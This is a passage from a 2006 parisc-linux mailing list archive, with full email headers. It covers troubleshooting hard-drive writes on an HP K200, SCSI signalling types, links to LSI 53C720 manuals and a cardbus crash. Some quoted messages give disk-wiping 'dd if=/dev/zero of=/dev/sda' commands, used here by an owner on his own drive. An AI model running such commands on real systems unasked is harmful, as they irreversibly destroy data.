94fWxghOrvbqNOUQGls1TXfjViF4gtwhGTXeJLHTHUb/XV9lTzGCA2QwggNgAgEBMHYwYjEL
MAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAq
BgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAhByhOXdQinvM024
CnRhBkYFMAkGBSsOAwIaBQCgggHDMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZI
hvcNAQkFMQ8XDTA2MDkyNjIzMzg0OVowIwYJKoZIhvcNAQkEMRYEFL32Q9TaOg2Y/AWUo3vJ
TsZMPuDoMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0G
CCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGFBgkrBgEEAYI3EAQxeDB2
MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQu
MSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWluZyBDQQIQcoTl3UIp
7zNNuAp0YQZGBTCBhwYLKoZIhvcNAQkQAgsxeKB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQK
ExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29u
YWwgRnJlZW1haWwgSXNzdWluZyBDQQIQcoTl3UIp7zNNuAp0YQZGBTANBgkqhkiG9w0BAQEF
AASCAQAgY+RGKL9adwIZtdlIhP1N5bArz5n5wkCm5+NEEofiLuACJluNfAiTZDOEosDkhPmq
ie8UICdsYOrHD0TECuA6v3Xj5s5TyEv9sHXAVbroOWfmmOLPvmvg13btV1czHSAfwpxTc1uX
CfZXOTOmpi00AOEFaRCq8txT29lhYvF7hZ+X+4dFUDm2V5H+6+h0bXprZpwlqQkObrt/BCJm
iO7H93unaV8fD1XDbbn2v9RuZVtCS9vWA0vZvlIBCdeJ5YOkYQzCWxsDrfzFcHTMCxfpUxO6
W4cocsOLpBpUqbRU5cnxCVK+/YMDWCABsDG5B6kp7JjQOnNv2j7AtaJt7SWKAAAAAAAA
--=_scully.cob.calpoly.edu-14092-1159314092-0001-2--

--===============0555140148==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0555140148==--



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't write to hard drives on a K200
Date: Tue, 26 Sep 2006 21:28:36 -0500
Lines: 77
Approved: news@gmane.org
Message-ID: <200609262128.36997.mszick@morethan.org>
References: <4518662C.6020103@emenaker.com> <45191956.4060800@scarlet.be>
	<4519BA09.5070000@emenaker.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624190 21096 80.91.229.3 (22 Nov 2014 02:43:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Sep 2006 02:28:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 27 Sep 2006 04:28:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15DA17D69D;
	Tue, 26 Sep 2006 20:28:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07049-07; Tue, 26 Sep 2006 20:28:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42B817D6AB;
	Tue, 26 Sep 2006 20:28:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 078927D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 20:28:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07049-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 20:28:40 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id A716E7D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 20:28:40 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k8R2SkqU014798
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Sep 2006 19:28:46 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.76.8] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id Rq30xu92
	authenticated by SMTP; Tue, 26 Sep 2006 19:28:44 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <4519BA09.5070000@emenaker.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3NYscdcVTiEtQKyUaGRwJ6B1ZUVSRFdT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24012

On Tue September 26 2006 18:38, Joe Emenaker wrote:
> Joel Soete wrote:
> >> Hrmmm.... so maybe the disks are read-only somehow, right? Well then 
> >> how come I can dd like so:
> >>
> >>   dd if=/dev/zero of=/dev/sda bs=512 count=10
> >>
> >> That works fine. So.... anybody have any idea what's going on?
> > If that doesn't matter to completely erase your disk try the same cmdl 
> > without count param, i.e.
> >     dd if=/dev/zero of=/dev/sda bs=512
> Well, I did the entire drive with:
>    dd if=/dev/zero of=/dev/sda bs=512 count=10 count=8388314
> and that worked fine.
> 
> I also tried your
>     dd if=/dev/zero of=/dev/sda bs=512k
> and that worked too (8192 records in, 8192 records out).
> 
> So... dd works, (c)fdisk doesn't. I guess I could just get someone to 
> partition a blank hd just the way I want and then send me their 
> partition table (dd if=/dev/sdX bs=512 count=1 | gzip -9 | mail ....), 
> then I could dd it on this end and I'd be all set, huh?
> 
> Well, there's another option. I could plug the drives into a SCSI card 
> on a PC... but I've tried that, and I can't get that to work. If someone 
> wants to help me with *that*, I'd appreciate that as well, since I 
> clearly don't understand all of the intricacies of SCSI, because I 
> couldn't get the PC to recognize the drive(s). I *think* it had to do 
> with the drives being (apparently) "single-ended"... but I don't know.
>

It is hard to say - 

The drive's firmware reported a model number that indicates SE - but
it also reported an HP revision number for the drive firmware.  Which,
as Dave pointed, means the model number reported may not be complete.

The driver reported that the drives where using differential - this
might stand a better chance of being correct.

The driver in pa-risc is a derivative of the {open,free,net}BSD
driver - it should negotiate with the attached drive(s) the proper
SCSI connection or tri-state the SCSI bus to prevent drive/adapter
damage.

Still with me?
differential comes in two flavors - High Voltage and Low Voltage
I am guessing from the chip's age that its version of differential is HVD.

If your pa-risc machine has connectors to external drives - they should
be labeled - now that label you can trust.

Another thing to consider - as I recall, the dmesg of your machine has 
reported two SCSI controllers - the one not using the ncr53c driver has
only the CD-ROM on it - you might consider adding a drive 
(of the proper type - check your dmesg) to the scsi chain with the 
CD-ROM on it.

Another thing that might be worth trying - DD your live-cd image onto
one of the hard drives - if there are no read/write problems with DD, 
it should work.

An cd-rom image on a hard drive?  Yes, that does work for me - I have
an iso image DD copied to a 100Mb removable (zip) SCSI-2 drive.  Linux
doesn't care about media type vs filesystem type.

Mike
 
> - Joe
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR SCSI hardware documentation
Date: Wed, 4 Oct 2006 08:05:13 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <200610040805.14001.mszick@morethan.org>
References: <200609250926.40678.mszick@morethan.org>
	<1159462892.3392.2.camel@mulgrave.il.steeleye.com>
	<200609281347.34279.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624191 21098 80.91.229.3 (22 Nov 2014 02:43:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:11 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Oct 2006 13:05:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 04 Oct 2006 15:05:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D013A7D658;
	Wed,  4 Oct 2006 07:05:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06577-09; Wed, 4 Oct 2006 07:05:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB8C17D65C;
	Wed,  4 Oct 2006 07:05:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC3A17D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Oct 2006 07:05:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06581-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Oct 2006 07:05:25 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 9390B7D643
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Oct 2006 07:05:25 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k94D5V7g078934;
	Wed, 4 Oct 2006 06:05:34 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.78.97] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id 4XK0abQ2
	authenticated by SMTP; Wed, 04 Oct 2006 06:05:30 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200609281347.34279.mszick@morethan.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: m4kWcZB2RkkeaauPfGRqVAVmdWkvKNMl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24013

On Thu September 28 2006 13:47, Michael S. Zick wrote:
>
> The SCSI SCRIPTS Processors Programming Guide:
> http://www.lsilogic.com/files/docs/techdocs/storage_stand_prod/PCISCSICont/Software/8XX_21.pdf
> 
> This document also covers 7xx SCRIPTS processors - the comment about 770+ comes about because
> this is an LSI document and controllers prior to the 770 acquired from Symbolics where not
> continued. [confirmed]
> This _is_ the programming manual for the 720 when limited to the 720 instruction set ...
> 

The following two items are posted for the use of the parisc-Linux
driver development community by permission of LSI-Logic.  
No NDA required for either item, additional
re-distribution requires permission from LSI-Logic.

The 53C720/53C720SE data manual:
http://www.morethan.org/parisc/53C720_Data_Manual_Rev_3_1.PDF

The SCSI SCRIPTS assembler:
http://www.morethan.org/parisc/nasm302.zip
(includes 700, 710, 720 instruction sets)

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR SCSI hardware documentation
Date: Wed, 4 Oct 2006 09:30:25 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <200610040930.25892.mszick@morethan.org>
References: <200609250926.40678.mszick@morethan.org>
	<200609281347.34279.mszick@morethan.org>
	<200610040805.14001.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624191 21099 80.91.229.3 (22 Nov 2014 02:43:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Oct 2006 14:30:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 04 Oct 2006 16:30:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2A527D674;
	Wed,  4 Oct 2006 08:30:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08150-01; Wed, 4 Oct 2006 08:30:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CA357D672;
	Wed,  4 Oct 2006 08:30:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D6CAB7D667
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Oct 2006 08:30:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07698-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Oct 2006 08:30:31 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 8F1B77D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Oct 2006 08:30:31 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k94EUTJn021794
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Oct 2006 07:30:30 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.78.97] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id Ef50kjB2
	authenticated by SMTP; Wed, 04 Oct 2006 07:30:28 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200610040805.14001.mszick@morethan.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pPwQfekIMmApXLSZZGFnLpExMjQ1N105
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24014

On Wed October 4 2006 08:05, Michael S. Zick wrote:
>
> The following two items are posted for the use of the parisc-Linux
> driver development community by permission of LSI-Logic.  
> No NDA required for either item, additional
> re-distribution requires permission from LSI-Logic.
> 
> The 53C720/53C720SE data manual:
> http://www.morethan.org/parisc/53C720_Data_Manual_Rev_3_1.PDF
> 
> The SCSI SCRIPTS assembler:
> http://www.morethan.org/parisc/nasm302.zip
> (includes 700, 710, 720 instruction sets)
> 

And if those links are pulled when you read this, contact me.

> Mike
>
Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 crash with PCMCIA bridge
Date: Sat, 7 Oct 2006 18:15:30 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <200610071815.31131.deller@gmx.de>
References: <20061007165519.d85d8839.gmsoft@tuxicoman.be>
	<1160234861.3459.27.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624191 21100 80.91.229.3 (22 Nov 2014 02:43:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:11 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 Guy Martin <gmsoft@tuxicoman.be>,
 parisc-linux@parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Oct 2006 16:22:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 07 Oct 2006 18:22:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27A577D6CF;
	Sat,  7 Oct 2006 10:22:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11201-04; Sat, 7 Oct 2006 10:22:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F8D77D6C0;
	Sat,  7 Oct 2006 10:22:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F11A7D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 10:22:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10785-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Oct 2006 10:22:15 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6F3DA7D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Oct 2006 10:22:15 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2F3FB494007; Sat,  7 Oct 2006 10:22:15 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by mail.parisc-linux.org (Postfix) with SMTP id 8B895494006
	for <parisc-linux@parisc-linux.org>;
	Sat,  7 Oct 2006 10:22:13 -0600 (MDT)
Original-Received: (qmail invoked by alias); 07 Oct 2006 16:15:33 -0000
Original-Received: from mnhm-590c1e9d.pool.einsundeins.de (EHLO p100.box) [89.12.30.157]
	by mail.gmx.net (mp037) with SMTP; 07 Oct 2006 18:15:33 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <1160234861.3459.27.camel@mulgrave.il.steeleye.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DK4SLW4TZDI4DLHGdWY2tIJxemhmYwFz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24015

On Saturday 07 October 2006 17:27, James Bottomley wrote:
> On Sat, 2006-10-07 at 16:55 +0200, Guy Martin wrote:
> > I've been experiencing kernel crashes when I plug a RICOH RL5c475 cardbus bridge.
> > 
> > I've attached the crash info.
> > 
> > Linux hope 2.6.17.4-pa6 #1 Thu Jul 13 09:06:34 CEST 2006 parisc PA8600 (PCX-W+) GNU/Linux
> 
> The only parisc chip known to work with cardbus is dino ... there are a
> few strage tweaks you have to do to get it all running (and even dino
> only seems to work with my single socket yenta bridge; it doesn't work
> for helge with his dual yenta tadpole).

Hi James,

One correction:
Last time I tried (and after a few people here on the list helped) it did worked with both slots in my tadpole.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH 562] m68k/HP300: Enable HIL configuration
	options
Date: Tue, 10 Oct 2006 21:25:01 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <200610102125.01767.deller@gmx.de>
References: <200610092022.k99KMbtC031450@anakin.of.borg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624192 21104 80.91.229.3 (22 Nov 2014 02:43:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:12 +0000 (UTC)
To: Geert Uytterhoeven <geert@linux-m68k.org>,
 Kars de Jong <jongk@linux-m68k.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Oct 2006 19:25:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
